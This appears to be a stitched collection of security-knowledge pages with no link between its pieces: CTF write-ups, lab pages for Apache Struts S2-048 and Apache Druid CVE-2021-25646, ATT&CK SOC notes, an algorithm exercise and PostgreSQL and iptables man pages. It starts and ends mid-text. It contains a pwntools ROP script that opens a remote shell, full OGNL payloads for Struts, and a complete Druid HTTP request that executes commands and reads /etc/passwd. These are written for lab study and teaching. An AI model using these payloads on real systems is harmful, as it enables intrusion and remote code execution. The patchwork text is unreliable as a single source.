-48h var_40= qword ptr -40h var_38= qword ptr -38h var_30= qword ptr -30h var_28= qword ptr -28h var_20= dword ptr -20h var_1C= byte ptr -1Ch push rbp mov rbp, rsp sub rsp, 60h mov rax, 20756F7920646944h mov [rbp+var_60], rax mov rax, 612065736F6F6863h mov [rbp+var_58], rax mov rax, 3F3F3F3F74616320h mov [rbp+var_50], rax mov rax, 7420746168570A3Fh mov [rbp+var_48], rax mov rax, 6320666F20657079h mov [rbp+var_40], rax mov rax, 646C756F77207461h mov [rbp+var_38], rax mov rax, 65727020756F7920h mov [rbp+var_30], rax mov rax, 273027203F726566h mov [rbp+var_28], rax mov [rbp+var_20], 3E3E3E0Ah mov [rbp+var_1C], 0 lea rax, [rbp+var_60] mov edx, 44h mov rsi, rax mov edi, 1 mov eax, 1 syscall lea rax, [rbp+8] mov edx, 18h mov rsi, rax mov edi, 0 mov eax, 0 syscall nop leave retn sub_7FFF3A41CC70 endp ``` See it yet? Yes, this code reads 18 bytes **on the stack, overwriting the return address**. Yeah, we're in pwn challenge now. But this won't stop us. Fortunatelly, exploit turned out to be easier than I thought, because second ciphertext was clearly meant to help us: ```asm sub_7FFF3A41CC30 proc near var_8= qword ptr -8 push rbp mov rbp, rsp sub rsp, 10h mov [rbp+var_8], rdi mov rax, [rbp+var_8] mov edx, 0 mov esi, 0 mov rdi, rax mov eax, 3Bh syscall nop leave retn sub_7FFF3A41CC30 endp ; --------------------------------------------------------------------------- db 0 db 0 aBinSh db '/bin/sh',0 db 0 db 0 db 0 db 0 db 0 ; =============== S U B R O U T I N E ======================================= sub_7FFF3A41CC66 proc near pop rdi retn ``` Additionally this code was loaded at constant offset in memory, so this should be easy as PWN 100 in High-School CTF. Our ROP chain will look like this: ``` [pop rdi gadget] "/bin/sh" [shellcode] ``` So we'll pop "/bin/sh" to edi, and execute execve systall with it. Easy enough wth pwnlib! ```python from pwn import * r = remote('110.10.212.139', 50410) print r.recv() r.send('$W337k!++y\n') print r.recv() print r.recv() r.send('3\n') print r.recv() import struct ra = struct.pack('<Q', 0x14000) gadget = struct.pack('<Q', 0x014036) shell = struct.pack('<Q', 0x14029) cat = gadget + shell + ra print cat.encode('hex') r.send(cat) r.interactive() ``` Annd... It worked, and gave us flag (finally!): ``` $ cat fflag flag{what a lovely kitty!} ```
sec-knowleage
# Exclusive Bomb Category: Special, 250 Points ## Description > > Agent! Your special skills are required once more. > > A bomb threatens the agency's main facility and stakes are high. We need you to determine which of the wires to cut, either the red or the green. But never both! > > Try and defuse the bomb in (LINK) using your new knowledge ! A zip file was attached. ## Solution This is the last challenge of the CTF and it was unlocked only after all the other challenges were solved. The zip file contained the following files: ```console root@kali:/media/sf_CTFs/matrix/Exclusive_Bomb# ls Exclusive_Bomb 0.png 13.png 17.png 20.png 24.png 28.png 31.png 35.png 39.png 42.png 6.png final.png 10.png 14.png 18.png 21.png 25.png 29.png 32.png 36.png 3.png 43.png 7.png 11.png 15.png 19.png 22.png 26.png 2.png 33.png 37.png 40.png 4.png 8.png 12.png 16.png 1.png 23.png 27.png 30.png 34.png 38.png 41.png 5.png 9.png ``` All files were 1280x556 and they all were composed of what looked like random pixels, e.g.: ![](images/exclusive_bomb_0.png) However, when comparing any two random images (except for `final.png`), we noticed that only a small rectangle in the center of the image was actually different (the different pixels are marked in red in the bottom view): ![](images/exclusive_bomb_compare.png) Now, the challenge title and description strongly hint towards the need to use the XOR operation for the solution, but at first we couldn't figure out how it fits in and solved the challenge without XORing. In short, we noticed that in many cases, if we take a closer look at the "different" area of two random images, we find at least some identical pixels. For example: ![](images/exclusive_bomb_compare1.png) Or: ![](images/exclusive_bomb_compare2.png) Of course, this is theoretically possible for random data, but chances are low that we'd see so many identical pixels. So, what we did at first was to compare each image to all the other images (except for `final.png` which didn't match the pattern) and mark in a new (output) image all the identical pixels: ```python from PIL import Image from PIL import ImageChops import os if not os.path.isdir("Eq"): os.mkdir("Eq") file_names = [f"{x}.png" for x in range(44)] + ["final.png"] cropped_images = [] for file_name in file_names: img = Image.open(f'Exclusive_Bomb/{file_name}') imc = img.crop((623, 254, 623+40, 254+57)) cropped_images.append(imc) for base_img_index, img in enumerate(cropped_images[:-1]): in_pixels = list(img.getdata()) out_pixels = [(0, 0, 0) for i in range(len(in_pixels))] for img_index, img in enumerate(cropped_images[:-1]): if base_img_index != img_index: in_pixels2 = list(img.getdata()) for i in range(len(in_pixels)): r , g , b = in_pixels[i] r2, g2, b2 = in_pixels2[i] if r == r2 and g == g2 and b == b2: out_pixels[i] = (255, 255, 255) out_img = Image.new(cropped_images[0].mode, cropped_images[0].size) out_img.putdata(out_pixels) out_img.save(f"Eq/{base_img_index}.png", "PNG") ``` This gave us the flag, but wasn't the intended solution. We later went back and solved it with XOR as intended: ```python from PIL import Image import numpy as np import os OUT_PATH = "out" NUM_IMAGES = 44 if not os.path.isdir(OUT_PATH): os.mkdir(OUT_PATH) file_names = [f"{x}.png" for x in range(NUM_IMAGES)] + ["final.png"] img_data = [np.asarray(Image.open(f'Exclusive_Bomb/{name}')) for name in file_names] all_data_xored = img_data[0].copy() for data in img_data[1:]: all_data_xored ^= data for i in range(NUM_IMAGES): new_image = Image.fromarray(all_data_xored ^ img_data[i]) new_image.save(os.path.join(OUT_PATH, f"{i}.png"), "PNG") ``` The trick was to XOR all the images together (including `final.png`) except for one each time - revealing a single letter of the flag. For example, for the second letter, we need to XOR: ``` 0.png ^ 2.png ^ 3.png ^ ... ^ 43.png ^ final.png ``` For the third: ``` 0.png ^ 1.png ^ 3.png ^ ... ^ 43.png ^ final.png ``` And so on. We accomplished that by first XORing all the images: ``` 0.png ^ 1.png ^ 2.png ^ ... ^ 43.png ^ final.png ``` Then each time "canceling" one image by XORing it again (using the fact that `x ^ x = 0`): ``` (0.png ^ 1.png ^ 2.png ^ ... ^ 43.png ^ final.png) ^ 1.png = 0.png ^ (1.png ^ 1.png) ^ 2.png ^ ... ^ 43.png ^ final.png = 0.png ^ (0) ^ 2.png ^ ... ^ 43.png ^ final.png = 0.png ^ 2.png ^ ... ^ 43.png ^ final.png ``` This gave us 44 images such as: ![](images/exclusive_bomb_0_out.png) Which spelled out the flag: `MCL{Y0U_D3F1nitely_N33D_TO_Cu7_Th3_Red_0NE!}`. We entered the flag in the CTF Room: ![](images/bomb_view.png) And defused the bomb! ![](images/bomb_view_success.png)
sec-knowleage
# S2-048 Remote Code Execution Vulnerablity [中文版本(Chinese version)](README.zh-cn.md) Affected Version: 2.0.0 - 2.3.32 Details: - http://struts.apache.org/docs/s2-048.html - http://bobao.360.cn/learning/detail/4078.html - http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/ ## Setup ``` docker compose up -d ``` ## Exploit This environment is a struts-2.3.32 showcase, in tomcat-8.5. After the environment run, visit the `http://your-ip:8080/showcase/` to view struts2 showcase. Access Integration/Struts 1 Integration: ![](01.png) The OGNL expression vulnerability position is `Gangster Name` form. Enter `${233*233}` to see the results of the execution: ![](02.png) Refer S2-045's sandbox bypass method, here is my POC: ``` %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)} ``` ![](03.png) Of course, you can also use the POC of s2-045 directly (need Burpsuite): ``` %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ```
sec-knowleage
# 21. 调整数组顺序使奇数位于偶数前面 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/ef1f53ef31ca408cada5093c8780f44b?tpId=13&tqId=11166&tab=answerKey&from=cyc_github) ## 题目描述 需要保证奇数和奇数,偶数和偶数之间的相对位置不变,这和书本不太一样。例如对于 [1,2,3,4,5],调整后得到 [1,3,5,2,4],而不能是 {5,1,3,4,2} 这种相对位置改变的结果。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d03a2efa-ef19-4c96-97e8-ff61df8061d3.png" width="200px"> </div><br> ## 解题思路 方法一:创建一个新数组,时间复杂度 O(N),空间复杂度 O(N)。 ```java public int[] reOrderArray (int[] nums) { // 奇数个数 int oddCnt = 0; for (int x : nums) if (!isEven(x)) oddCnt++; int[] copy = nums.clone(); int i = 0, j = oddCnt; for (int num : copy) { if (num % 2 == 1) nums[i++] = num; else nums[j++] = num; } return nums; } private boolean isEven(int x) { return x % 2 == 0; } ``` 方法二:使用冒泡思想,每次都将当前偶数上浮到当前最右边。时间复杂度 O(N<sup>2</sup>),空间复杂度 O(1),时间换空间。 ```java public int[] reOrderArray(int[] nums) { int N = nums.length; for (int i = N - 1; i > 0; i--) { for (int j = 0; j < i; j++) { if (isEven(nums[j]) && !isEven(nums[j + 1])) { swap(nums, j, j + 1); } } } return nums; } private boolean isEven(int x) { return x % 2 == 0; } private void swap(int[] nums, int i, int j) { int t = nums[i]; nums[i] = nums[j]; nums[j] = t; } ```
sec-knowleage
# ATT&CK矩阵的SOC建设 ~~本文主要内容来自[ATT&CK矩阵Linux系统安全实践](https://www.freebuf.com/articles/es/231784.html)一文, 感谢作者的分享。~~ 本文只做笔记与自我思考的记录, 如有侵权请告知,感谢! ## 1. 建设思路汇总 - 方案1: 从主机信息采集出发,进行基于ATT&CK矩阵的入侵检测 - 方案2: 从网络层面、主机层和Windows服务器出发,进行入侵溯源 - 方案3: 基于**Sysmon**的企业级威胁检测与响应闭环[3] ## 1.1 方案一详解 ### 入侵检测 #### 思路 > 入侵检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程. 常见做法是对入侵行为的发觉,通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。 > > https://www.freebuf.com/articles/es/231784.html 简单来说, 为以下几点: - 从网络或系统中的关键点收集信息 - 对信息进行分析 - 对被保护系统进行安全审计、监控、攻击识别, 以及做出实时反应 #### 功能模块 一个典型的入侵检测系统至少应包括3个功能模块: - 提供事件记录流的**信息源** - 发现入侵迹象的**分析引擎** - 与分析引擎的**相应部件** #### 分类 根据检测**所用数据的来源**不同进行分类 - 基于主机的入侵检测系统(HIDS) - 数据源来自 > 1.被监测系统的操作系统事件 > > 2.日志应用程序的事件日志 > > 3.系统调用日志(syscall) > > 4.端口调用 > > 5.安全审计日志(eventlog) - 基于网络的入侵检测系统(NIDS) - 数据源来自网络上的原始数据包 - 利用一个运行在**混杂模式**下的网络适配器类**实时监视并分析**通过网络进行传输的所有通信业务 - 基于混合数据源的入侵检测系统(HIDS+NIDS) #### 检测方法 - 基于已知攻击的检测 - > 通过收集非已知入侵攻击的信息(知识、模式等)的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵,也是ATT&CK矩阵的思路 - 关联接测 - > 通过将匹配模式的规则转化成IF-THEN规则,形成知识库,然后,运用推理算法进行检测入侵。 - 基于行为的检测 - > 先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。 ### 主机信息采集 使用Auditbeat进行主机信息采集. > Auditbeat是一种轻量级的数据收集器,您可以将其安装在服务器上,以审核系统上用户和进程的活动。 ### 基于ATT&CK矩阵的入侵检测 > snoopy轻量级的lib库,用来激励系统中所有执行过的命令以及参数,实际使用场景中结合snoopy和rsyslog收集所有主机的历史执行命令,snoopy 即是通过 preload 的方式在程序进行 execv() 和 execve() 系统调用的时候记录下所有需要的信息,audit同snoopy,通过监控execve系统调用,同样实现用户的操纵记录,大部分检测通过检测非ROOT用户执行的命令以及进行威胁建模。 下面介绍的通用攻击方式, 其实是在威胁建模的过程中, 给我们一个通用的参考. 只攻方知守. 行为分析 < 威胁建模 #### 侦查内容 一次完整的网络渗透, 主要分为技术业务与信息分析业务. 技术业务中的一项重要工作就是侦察,也就是进行信息搜集. 侦查可以分为技术侦查和业务侦查. ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410125750.png) Fig. Linux入侵信息搜集[1] #### 凭证内容 主要根据用户习惯(用户行为模型?), 从文件中, 配置和历史记录中获取凭证, 也可通过暴力破解和抓取内存中的明文密码[1] ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410132123.png) #### 命令和控制 在Linux系统中, 与其交互的方式, 最主流的一种就是命令行, 对命令和执行的检查(比如, 建立白名单)和控制是威胁建模的一部分内容. ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410132440.png) #### 持久化 Linux系统主要作为服务器和IoT设备的主要操作系统, 因为其应用的问题, 需要攻击者在获取权限后,实现一个长期的驻留. 因此, 追踪最新的后门和持久化技术, 有利于完善威胁建模中的持久化方面. > 下面列举了常见的后门和驻留持久化技术,如增加超级用户账号、放置SUID shell,定时任务、共享库文件、LKM模块等,在应急响应中持久化是最应该关注的战术之一,也是一个比较好的切入点 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410132823.png) #### 权限提升 对于攻击者而言, 利用系统漏洞达到root级访问是核心目标之一, 对于防守方, 通过检测子进程UID是否变为0即可(?) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410133018.png) #### 横向移动 > 攻击者在利用单个系统漏洞后,通常会尝试在网络内进行横向移动,横向移动对于域渗透,攻击手法相对较多, 在内网中,环境相对较干净,检测通用攻击,能达到较好的效果 检测一些通用的攻击, 网络扫描的痕迹, 设置网络监听, 检查远程漏洞利用等 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410133154.png" style="zoom: 50%;" /> #### 清理痕迹 > 在目前的安全状态下,安全法规定日志需保存6个月以上,且SIEM针对安全信息和事件的管理,也才采集数据,在绕过检测采集以及心跳线检测,无法规避 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410133338.png" style="zoom: 67%;" /> #### HOOK技术 > 一个恶意的软件,总结三点:隐藏、操纵、收集数据 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410133439.png) Fig. HOOK通用技术[1] > 1.可信任Shell——使用静态编译的二进制文件:lsof、stat、strace、last、…… > 2.检测工具和脚本:rkhunter, chkrootkit, OSSEC > 3.LiveCD——DEFT、Second Look、 Helix > 4.动态分析和调试:使用gdb根据System.map和vmlinuz image分析/proc/kcore > 5.直接调试裸设备:debugFS #### 对抗: 如何检测? 可以通过编写一系列的auditd规则, 对数据进行正则匹配, 简单关联分析检测, 在SOC平台上进行检测等. 一句话, 现在通过的还是通过不断完善规则. ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200410133938.png) 图:入侵检测相应规则 ### 小结 MITRE ATT&CK矩阵 从某种程度上来讲, 就是安全攻防时的一种兵法. 将战术和技术进行理论化的排列, 完成一个通用的攻击序列. 对于广义的SOC建设来说, 威胁狩猎是一个方向, 入侵检测和应急响应也是一个方向. ATT&CK矩阵带给SOC建设的作用就是, 将一种经验化的, 事后型(被动的)建设方案, 逐渐转变为一个工程化, 带有模拟和预测性质的, 甚至以攻为守(参考本文档章节下的《威胁狩猎》一文)的体系。 1 ## 1.2 方案二详解 ### 总体架构 ![img](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/1604340947425759.png) 图:基于ATT&CK矩阵的攻击链分析解决方案[2] ## 3. 思考 ATT&CK矩阵下, 与普通的评估方法区别,以及相互对应的是哪些? ## 4. 总结 ## 5. 参考资料 - https://www.freebuf.com/articles/network/169632.html ## Rerference [1] ATT&CK矩阵Linux系统安全实践, https://www.freebuf.com/articles/es/231784.html \[2] 安全运营之攻击溯源, [bt0sea](https://www.4hou.com/member/dJY9), https://www.4hou.com/posts/x9KP \[3] 基于**Sysmon**的企业级威胁检测与响应闭环,樊兴华(微步在线首席分析师),2019CTIC分享的议题
sec-knowleage
# Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646) [中文版本(Chinese version)](README.zh-cn.md) Apache Druid is an open source, distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concurrency. Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process. References: - <https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution> - <https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw> ## Vulnerable Environment Execute following command to start an Apache Druid server 0.20.0: ``` docker compose up -d ``` After server is started, you can see the home page of Apache Druid on `http://your-ip:8888`. ## Exploit Send this request to the server: ``` POST /druid/indexer/v1/sampler HTTP/1.1 Host: your-ip:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "firehose":{ "type":"local", "baseDir":"/etc", "filter":"passwd" } }, "dataSchema":{ "dataSource":"test", "parser":{ "parseSpec":{ "format":"javascript", "timestampSpec":{ }, "dimensionsSpec":{ }, "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}", "":{ "enabled":"true" } } } } }, "samplerConfig":{ "numRows":10 } } ``` You will see the output of the `id` command: ![](1.png)
sec-knowleage
## 404 Flag not found (Misc, 80p) I tried to download the flag, but somehow received only 404 errors :( Hint: The last step is to look for flag pattern. ###ENG [PL](#pl-version) This task wsa more of stegano than misc. Pcap file contained a lot of requests to sites such as 12332abc.example.com. After collecting all of them, getting rid of all parts except of first, and hex-decoding them, we got: ``` In the end, it's all about flags. Whether you win or lose doesn't matter. {Ofc, winning is cooler Did you find other flags? Noboby finds other flags! Superman is my hero. _HERO!!!_ Help me my friend, I'm lost in my own mind. Always, always, for ever alone. Crying until I'm dying. Kings never die. So do I. }! ``` Reading first character from each line, we got flag. ###PL version Zadanie bardziej stegano niż misc. W pcapie było sporo żądań do stron w stylu 1232abe.example.com. Po zczytaniu ich wszystkich, zebraniu tylko pierwszych członów i odkodowaniu ich szesnastkowo, otrzymujemy: ``` In the end, it's all about flags. Whether you win or lose doesn't matter. {Ofc, winning is cooler Did you find other flags? Noboby finds other flags! Superman is my hero. _HERO!!!_ Help me my friend, I'm lost in my own mind. Always, always, for ever alone. Crying until I'm dying. Kings never die. So do I. }! ``` Czytając pierwsze znaki z każdej linii, dostajemy flagę.
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "INSERT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME INSERT \- 在表中创建新行 .SH SYNOPSIS .sp .nf INSERT INTO \fItable\fR [ ( \fIcolumn\fR [, ...] ) ] { DEFAULT VALUES | VALUES ( { \fIexpression\fR | DEFAULT } [, ...] ) | \fIquery\fR } .sp .fi .SH "DESCRIPTION 描述" .PP \fBINSERT\fR 允许我们向表中插入新行。 我们可以一次插入一行或多行作为查询结果。 .PP 目标列表中的列/字段可以按任何顺序排列。 在目标列中没有出现的列/字段将插入缺省值, 可能是定义了的缺省值或者 NULL。 .PP 如果每行的表达式不是正确的数据类型,系统将试图进行自动的类型转换。 .PP 要想向表中插入数据,你必须有 INSERT 权限, 如果你使用了 \fIquery\fR 子句插入来自查询里的数据行, 你还需要拥有在查询里使用的表的 SELECT 权限。 .SH "PARAMETERS 参数" .TP \fB\fItable\fB\fR 现存表的名称(可以有模式修饰)。 .TP \fB\fIcolumn\fB\fR 表 \fItable\fR 中的字段名。 .TP \fBDEFAULT VALUES\fR 所有字段都会用它们的缺省值填充。 .TP \fB\fIexpression\fB\fR 赋予 \fIcolumn\fR 的一个有效表达式或值。 .TP \fBDEFAULT\fR 这个字段将被字段它的填充。 .TP \fB\fIquery\fB\fR 一个查询(SELECT 语句),它提供插入的数据行。 请参考 SELECT 语句获取语法描述。 .SH "OUTPUTS 输出" .PP 成功完成后,一条 INSERT 命令返回一个下面形式的命令标签 .sp .nf INSERT \fIoid\fR \fIcount\fR .sp .fi \fIcount\fR 是插入的行数。 如果 \fIcount\fR 正好是一,并且目标表有 OID, 那么 \fIoid\fR 是赋予插入行的 OID。 否则 \fIoid\fR 是零。 .SH "EXAMPLES 例子" .PP 向表 films 里插入一行: .sp .nf INSERT INTO films VALUES ('UA502', 'Bananas', 105, '1971-07-13', 'Comedy', '82 minutes'); .sp .fi .PP 在第二个例子里面省略了字段 len 因此在它里面将只存储缺省的 NULL 值: .sp .nf INSERT INTO films (code, title, did, date_prod, kind) VALUES ('T_601', 'Yojimbo', 106, '1961-06-16', 'Drama'); .sp .fi .PP 在第三个例子里,我们用 DEFAULT 值作为数据字段,而不是声明一个数值: .sp .nf INSERT INTO films VALUES ('UA502', 'Bananas', 105, DEFAULT, 'Comedy', '82 minutes'); INSERT INTO films (code, title, did, date_prod, kind) VALUES ('T_601', 'Yojimbo', 106, DEFAULT, 'Drama'); .sp .fi .PP 从表 tmp 中插入几行到表 films 中: .sp .nf INSERT INTO films SELECT * FROM tmp; .sp .fi .PP 插入数组: .sp .nf -- 创建一个空的 3x3 游戏板来玩圈-和-叉游戏 -- (所有这些查询创建相同的游戏) INSERT INTO tictactoe (game, board[1:3][1:3]) VALUES (1,'{{"","",""},{},{"",""}}'); INSERT INTO tictactoe (game, board[3][3]) VALUES (2,'{}'); INSERT INTO tictactoe (game, board) VALUES (3,'{{,,},{,,},{,,}}'); .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBINSERT\fR 完全遵循 SQL 标准。可能碰到的关于 \fIquery\fR 子句特性的限制在 SELECT [\fBselect\fR(7)] 语句中有相关文档。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 控制程序执行流 在控制程序执行流的过程中,我们可以考虑如下方式。 ## 直接控制 EIP ## 返回地址 即控制程序栈上的返回地址。 ## 跳转指针 这里我们可以考虑如下方式 - call - jmp ## 函数指针 常见的函数指针具有 - vtable, function table,如 IO_FILE 的 vtable,printf function table。 - hook 指针,如 `malloc_hook`,`free_hook`。 - handler ## 修改控制流相关变量
sec-knowleage
# Cody's First Blog - FLAG1 ## 0x00 Home ![](../flag0/imgs/home.jpg) ## 0x01 Check the Source Press **F12** to check the source. ![](./imgs/source.jpg) An admin login address shows up. ## 0x02 Visit Admin Page http://127.0.0.1/xxxxxxxxxx/?page=admin.auth.inc ![](./imgs/admin.jpg) ## 0x03 FLAG Try remove **auth** from the url. http://127.0.0.1/xxxxxxxxxx/?page=admin.inc ![](./imgs/flag.jpg)
sec-knowleage
.TH Iptables 8 "iptables 中文手册" "" .SH NAME iptables - IP包过滤器管理 .SH 总览 iptables -ADC 指定链的规则 [-A 添加 -D 删除 -C 修改] .br iptables - RI .br iptables -D chain rule num[option] .br iptables -LFZ 链名 [选项] .br iptables -[NX] 指定链 .br iptables -P chain target[options] .br iptables -E old-chain-name new-chain-name .SH 说明 Iptalbes 是用来设置、维护和检查Linux内核的IP包过滤规则的。 可以定义不同的表,每个表都包含几个内部的链,也能包含用户定义的链。 每个链都是一个规则列表,对对应的包进行匹配:每条规则指定应当如何处 理与之相匹配的包。这被称作'target'(目标),也可以跳向同一个表内的用 户定义的链。 .SH TARGETS 防火墙的规则指定所检查包的特征,和目标。如果包不匹配,将送往该链中 下一条规则检查;如果匹配,那么下一条规则由目标值确定.该目标值可以是 用户定义的链名,或是某个专用值,如ACCEPT[通过], DROP[删除], QUEUE[排队],或者 RETURN[返回]。 .PP .I ACCEPT 表示让这个包通过。 .br .I DROP 表示将这个包丢弃。 .br .I QUEUE 表示把这个包传递到用户空间。 .br .I RETURN 表示停止这条链的匹配,到前一个链的规则重新开始。如果到达了一个内建的 链(的末端),或者遇到内建链的规则是 RETURN,包的命运将由链准则指定的 目标决定。 .SH TABLES 当前有三个表(哪个表是当前表取决于内核配置选项和当前模块)。 .TP .B "-t table" 这个选项指定命令要操作的匹配包的表。如果内核被配置为自动加载模块,这时 若模块没有加载,(系统)将尝试(为该表)加载适合的模块。 这些表如下: .TP .BR "filter" ,这是默认的表,包含了内建的链INPUT(处理进入的包)、FORWORD(处理通 过的包)和OUTPUT(处理本地生成的包)。 .TP .BR "nat" 这个表被查询时表示遇到了产生新的连接的包,由三个内建的链构成:PREROUTING (修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING (修改准备出去的包)。 .TP .BR "mangle" 这个表用来对指定的包进行修改。它有两个内建规则:PREROUTING(修改路由之 前进入的包)和OUTPUT(修改路由之前本地的包)。 .SH OPTIONS 这些可被iptables识别的选项可以区分不同的种类。 .SS COMMANDS 这些选项指定执行明确的动作:若指令行下没有其他规定,该行只能指定一个选项. 对于长格式的命令和选项名,所用字母长度只要保证iptables能从其他选项中区 分出该指令就行了。 .TP .BR "-A -append" 在所选择的链末添加一条或更多规则。当源(地址)或者/与 目的(地址)转换 为多于一个(多个)地址时,这条规则会加到所有可能的地址(组合)后面。 .TP .BR "-D -delete" 从所选链中删除一条或更多规则。这条命令可以有两种方法:可以把被删除规则 指定为链中的序号(第一条序号为1),或者指定为要匹配的规则。 .TP .BR "-R -replace" 从选中的链中取代一条规则。如果源(地址)或者/与 目的(地址)被转换为多地 址,该命令会失败。规则序号从1开始。 .TP .BR "-I -insert" 根据给出的规则序号向所选链中插入一条或更多规则。所以,如果规则序号为1, 规则会被插入链的头部。这也是不指定规则序号时的默认方式。 .TP .BR "-L -list" 显示所选链的所有规则。如果没有选择链,所有链将被显示。也可以和z选项一起 使用,这时链会被自动列出和归零。精确输出受其它所给参数影响。 .TP .BR "-F -flush" 清空所选链。这等于把所有规则一个个的删除。 .TP .BR "--Z -zero" 把所有链的包及字节的计数器清空。它可以和 -L配合使用,在清空前察看计数器,请参见前文。 .TP .BR "-N -new-chain" 根据给出的名称建立一个新的用户定义链。这必须保证没有同名的链存在。 .TP .BR "-X -delete-chain" 删除指定的用户自定义链。这个链必须没有被引用,如果被引用,在删除之前你必须删 除或者替换与之有关的规则。如果没有给出参数,这条命令将试着删除每个非 内建的链。 .TP .BR "-P -policy" 设置链的目标规则。 .TP .BR "-E -rename-chain" 根据用户给出的名字对指定链进行重命名,这仅仅是修饰,对整个表的结构没有影响。 TARGETS参数给出一个合法的目标。只有非用户自定义链可以使用规则,而且内建链和用 户自定义链都不能是规则的目标。 .TP .BR "-h Help." 帮助。给出当前命令语法非常简短的说明。 .SS 参数 以下参数构成规则详述,如用于add、delete、replace、append 和 check命令。 .TP .BR "-p -protocal [!]protocol" 规则或者包检查(待检查包)的协议。指定协议可以是tcp、udp、icmp中的一个或 者全部,也可以是数值,代表这些协议中的某一个。当然也可以使用在/etc/pro tocols中定义的协议名。在协议名前加上"!"表示相反的规则。数字0相当于所有 all。Protocol all会匹配所有协议,而且这是缺省时的选项。在和check命令结合 时,all可以不被使用。 .TP .BR "-s -source [!] address[/mask]" 指定源地址,可以是主机名、网络名和清楚的IP地址。mask说明可以是网络掩码 或清楚的数字,在网络掩码的左边指定网络掩码左边”1”的个数,因此,mask 值为24等于255.255.255.0。在指定地址前加上"!"说明指定了相反的地址段。标志 --src 是这个选项的简写。 .TP .BR "-d --destination [!] address[/mask]" 指定目标地址,要获取详细说明请参见 -s标志的说明。标志 --dst 是这个选项的简写。 .TP .BR "-j --jump target" (-j 目标跳转)指定规则的目标;也就是说,如果包匹配应当做什么。目标可以是用 户自定义链(不是这条规则所在的),某个会立即决定包的命运的专用内建目标, 或者一个扩展(参见下面的EXTENSIONS)。如果规则的这个选项被忽略,那么匹 配的过程不会对包产生影响,不过规则的计数器会增加。 .TP .BR "-i -in-interface [!] [name]" (i -进入的(网络)接口 [!][名称])这是包经由该接口接收的可选的入口名称,包通过 该接口接收(在链INPUT、FORWORD和PREROUTING中进入的包)。当在接口名 前使用"!"说明后,指的是相反的名称。如果接口名后面加上"+",则所有以此接口名 开头的接口都会被匹配。如果这个选项被忽略,会假设为"+",那么将匹配任意接口。 .TP .BR "-o --out-interface [!][name]" (-o --输出接口[名称])这是包经由该接口送出的可选的出口名称,包通过该口输出(在 链FORWARD、OUTPUT和POSTROUTING中送出的包)。当在接口名前使用"!"说明 后,指的是相反的名称。如果接口名后面加上"+",则所有以此接口名开头的接口都会 被匹配。如果这个选项被忽略,会假设为"+",那么将匹配所有任意接口。 .TP .BR "[!] -f, --fragment" ( [!] -f 